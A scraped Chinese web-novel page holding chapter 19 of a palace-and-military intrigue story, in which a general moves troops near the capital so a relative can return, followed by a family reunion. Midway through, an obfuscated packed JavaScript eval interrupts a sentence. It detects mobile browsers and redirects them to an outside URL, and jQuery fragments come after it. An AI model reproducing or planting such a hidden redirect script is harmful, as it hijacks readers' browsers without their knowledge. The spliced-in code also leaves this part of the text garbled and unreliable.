默认冷灰
24号文字
方正启体

19. 第 19 章

作者:韶妤本书字数:K更新时间:
    裕洲。


    “你怎么过来了?就你自己?”卫平看着眼前的人有些诧异。算算日子,摄政王应该已经解了禁足,这人怎么还在外面闲逛。


    “就我自己,主子日理万机,暂时抽不出身来。”易安很随意的坐在椅子上。


    “说吧,殿下有何吩咐?”卫平点点头同意了这个理由。


    “不,我此行为陛下而来。”


    “什么意思?”


    “陛下想让江恒合情合理的出现在京城,或者京城附近。”


    卫平皱了皱眉头。


    “不是口谕?”


    “当然不是。听与不听全凭卫老哥你的意思。我就是传个话,没别的意思。不过老哥哥,你可要想清楚了。主子和陛下是什么关系不用我多说吧。还有宁小将军,你猜他知道了会如何选择?”易安对付人自有他自己的方式,边关这几个将领的脾性他摸得门清。卫平最怕的不是别人,正是他那小两岁的亲弟弟卫宁。简直是百依百顺,百试百灵。


    “什么时候?”提到这些,卫平不再犹豫。


    “尽快。”易安将人的反应尽收眼底,此事已定。


    “听闻京郊的驻军已经南下,京畿守备如此重要的位置岂可空缺?是该换防了。”打定了主意后,卫平立刻给自己编了个合理的理由。


    “来人,传本将命令,全军集结,连夜行军,目标,京郊。”


    “放心,一应手续自会有人准备齐全。主子知道后不会亏了你的。”易安走上前拍了拍卫平的肩膀。


    不是,庄岱辰不知道这事啊?卫平突然有些后悔,觉得自己答应的太快了。


    “老哥,看开点。在尚国,谁能大的过陛下呢?我也是为了你好。若是让主子知道你敢不尊陛下的意思,那下场才是真的惨。”


    “卫平岂敢。回去后你可不许在殿下面前胡说。不行,你跟我一起回去,我们一起去见殿下!”卫平生怕人添油加醋,留下一个不好的印象。


    对此,易安哭笑不得。不过事情办妥,他也确实该回京了。


    “得得得,我跟你一起回去还不行吗?卫老哥你居然不信我!”易安随庄岱辰从军多年,自然跟得上他们的行军节奏。


    一队人就这样浩浩汤汤的往京城去了。


    赶了几日的路,易安他们终于到达京郊。命大军安营扎寨休息整顿后,卫平赖在易安身边非要跟着去见庄岱辰。


    易安拗他不过,只得先带他去了御林军驻地。


    庄岱辰正站在校场的高处看着下面人操练,远远便看到两人走进。


    “卫平?边关将领无召不得入京。你们搞什么呢?”庄岱辰皱了皱眉。


    “易安你说!”卫平立马把易安推出来。


    “卫老哥你啊,真是,让我怎么说你呢!行,我说就我说。”易安无奈扶额,怎么就不上道呢?多好的机会啊。


    “陛下传信让我想办法带江恒入京,于是我和卫将军商议了一下,以换防为由名正言顺调江恒回来。”易安凑近做了个简单汇报。


    “京郊驻军?”庄岱辰立刻想明白其中的关窍儿。既是陛下的安排,他倒是没什么意见。


    “是。”易安点头。


    “文书什么的务必办妥,别留把柄。你亲自去办。还有,卫平。”庄岱辰抬眼扫过面前的两人,最后落在卫平身上。


    “殿下。”


    “京郊不需要留那么多人,安排他们换班驻守,适当给他们休沐。让他们自己商量就好。别以为我现在不做大将军就管不了你了,易安你盯着他,如果他敢破坏陛下的计划,你就直接把卫宁调过来。”


    “好嘞主子,保证完成任务。”易安笑着拱手应下,这下有好戏看了。


    “我没——不是——”卫平百口莫辩,半天说不出一句完整的话来。他哪敢啊。


    “走吧卫老哥,我还得向陛下复命呢,况且主子这里也忙得很。”易安半推半让把人从庄岱辰面前带走了。


    纵使磨练了多年,卫平却依然不如他弟弟沉稳,不过这心性倒是难得。庄岱辰眯着眼睛看两人离开心下叹了口气,随他们胡闹去了。


    他这边的进展还是太慢了。庄岱辰已经不做纨绔好多年了,更别提这里面还有些不学无术的混账,实在是无法强融。这些时日,他也头疼得很。


    他纵使可以靠武力征服他们,但却无法保证他们会永远顺从。人心,实在是难测。


    “主子,陛下命属下将此物送还。”夜深人静,庄岱辰躺在摇椅上看着眼前人,一年不见,成长了不少。


    “陛下还说什么了?”那是代表摄政王和大将军的两块腰牌,陛下虽没明旨复他的官职,但却依然许了他曾经的权利。


    “陛下什么都没说。”易安摇了摇头。


    “知道了,这一年辛苦你了,多谢。”庄岱辰收了腰牌看着人。或许,他不应该把这样厉害的人困在自己身边。


    “主子不要属下了吗?”易安突然跪下,为主子分忧本是应当,这谢字,他是万万承受不起的。


    “什么话?你如此能干,难道想跟在我身边永远做个护卫吗?不如我去求陛下让他许你入仕。”


    “属下就愿意一辈子跟着殿下,当年您和陛下从那些人手中将属下买下时,属下便已决定此生侍奉左右,绝不转圜。”易安仰着头看向庄岱辰,目光中仅是期盼和渴求。


    见人无意,庄岱辰也不强求。他一向尊重底下人的选择。


    “起来,我没要赶你走。放你五天假,之后继续跟着我。别误了陛下那边的事。”


    “是!”易安激动地从地上爬起来,恨不得立刻就回到庄岱辰身边做个普普通通的侍卫。


    “下去吧,好好享受你的假期,等你回来怕是有的忙了。”庄岱辰挥挥手示意人离去后,自己走进卧室关上房门。


    他要好好想想这两块腰牌该如何使用,若是运气好,没准能事半功倍。


    “恒哥?你不是在裕洲吗?”江远接到下人通报时一脸的不可置信,但还是出门查看了一番,没想到江恒竟真的回京了。


    “昨日回的京。边境换防,我如今随军队驻守京郊。这不,刚回京就听说我们未来的家主被架空了,怎么回事?”自卫平将换班的消息放出且许他们自由商议后,江恒便为自己争取来了个小长假,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413597|200718||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    半月换一次班,他有十五日的休沐。


    “换防?这么突然吗?”江远有些怀疑。


    “你不在军中不知道,这都是常事。我这几年时常随军奔赴各地,就像几年前我在裕洲,前几天我还在裕洲,外人肯定都以为我这些年都在裕洲没动过,但其实这几年里我辗转各地,不过恰好又在几年后回到这个地方。”江恒倒是没想那么多,他早已习惯听令行事。军队里没有那么多复杂的规矩,他乐得自在。


    “恒哥,你不知道我有多羡慕你。”江远搬来几坛酒,两人坐在庭院的石桌旁饮酒叙旧。


    故人归来,江远多年积压下来的委屈和冷眼在此刻终于溃不成军。


    他真的太累太累了。家族的责任压的他喘不过气,他明明有满腔抱负,最终却只能一退再退。因为他不是一个人,更不能只考虑一个家族。


    江远将这几年的事一桩桩一件件都仔仔细细的讲给江恒听,桌上的酒很快便空了大半。


    江恒没拦,甚至没开口打断。身为长房一脉,江远确实比同龄人吃更多的苦。他们在嬉笑打闹的时候,年幼的江远已经被老爷子逼着读书练字,稍有差错便会受罚。可多年努力,又换回了什么呢?是家族的不信任,是同龄人的排挤。江远永远与这里格格不入。


    可是羡慕这两个字……


    背井离乡有家不敢回,为了活下去只能孤独的流浪,这样的生活真的会令人羡慕吗?


    他当年,本没打算去边关历练的。可就因为是旁支,纵他有满腔抱负,老爷子仍不许他入仕,江远这唯一继承人的地位不能被动摇。所以他必须牺牲一切给江远让路,成为他的助力,或者死。


    江恒猛地灌了自己一口烈酒,被呛的咳了几声。


    这么多年他都不敢告诉江远真相,他永远忘不了他第一次出远门前,小小的江远站在房门外低声啜泣。


    “哥你是不是冷啊,是我不好,夜里凉,不该在外面的。”江远止了话,细心地关切着,还将自己的衣服解下来披在江恒身上。


    “不冷,我都习惯了,京城可比边关暖和多了。你从小就怕冷,听哥的话,啊,多穿点。”江恒重新把衣服给人披上系好。


    “来,今日我们兄弟俩不醉不归!”两人各拎着一坛酒,轻轻的碰撞在一起。


    还好,一切都是值得的。


    次日清晨,江恒依照规矩去见了江元煦。对于这个人,江恒的情绪是复杂的。没有江远前,他也曾被江元煦寄予厚望。可江远出生后,他便自高处跌落,重重的摔进了泥潭里,自此再无未来。


    江元煦倒也没多问,只是打听了一下边防的事,还问了问边饷案一事。这件事如今闹得沸沸扬扬,又涉及军队,江恒自然不可能不知道。不过此事本和他无关,他也没过多关注。


    草草应付过去后,江恒便从江元煦这里离开了。


    “祖父这些年过得也不容易,尤其是边饷案爆出后,世家间的联络比以往少了不少。”江远其实能猜到他们聊了什么,无非是和兵权有关的事,各大世家不是没尝试过往这方面塞人,可除了柳家自有的家学渊源以外,只成功了一个江恒。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)